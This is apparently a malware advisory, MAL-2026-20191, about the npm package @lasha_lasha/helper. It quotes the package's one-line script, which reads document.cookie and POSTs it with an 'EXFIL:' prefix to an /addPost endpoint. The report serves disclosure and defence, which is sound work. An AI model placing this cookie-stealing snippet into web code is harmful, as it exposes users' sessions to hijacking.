unscoredMalware report
MAL-2026-20191
Malicious code in @lasha_lasha/helper (npm)
Impact
The package's main entry contains a browser-targeted script that reads document.cookie and POSTs it with an 'EXFIL:' prefix to the relative URL /addPost (fetch('/addPost', { method:'POST', body: JSON.stringify({content: 'EXFIL:' + document.cookie}) })). The code has no legitimate library function; its only behavior is to harvest session cookies from whatever page it runs in and send them to a same-origin collector endpoint. Any consumer who bundles or injects this module into a web page would cause their users' session cookies to be exfiltrated.
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | @lasha_lasha/helper | unknown | none recorded |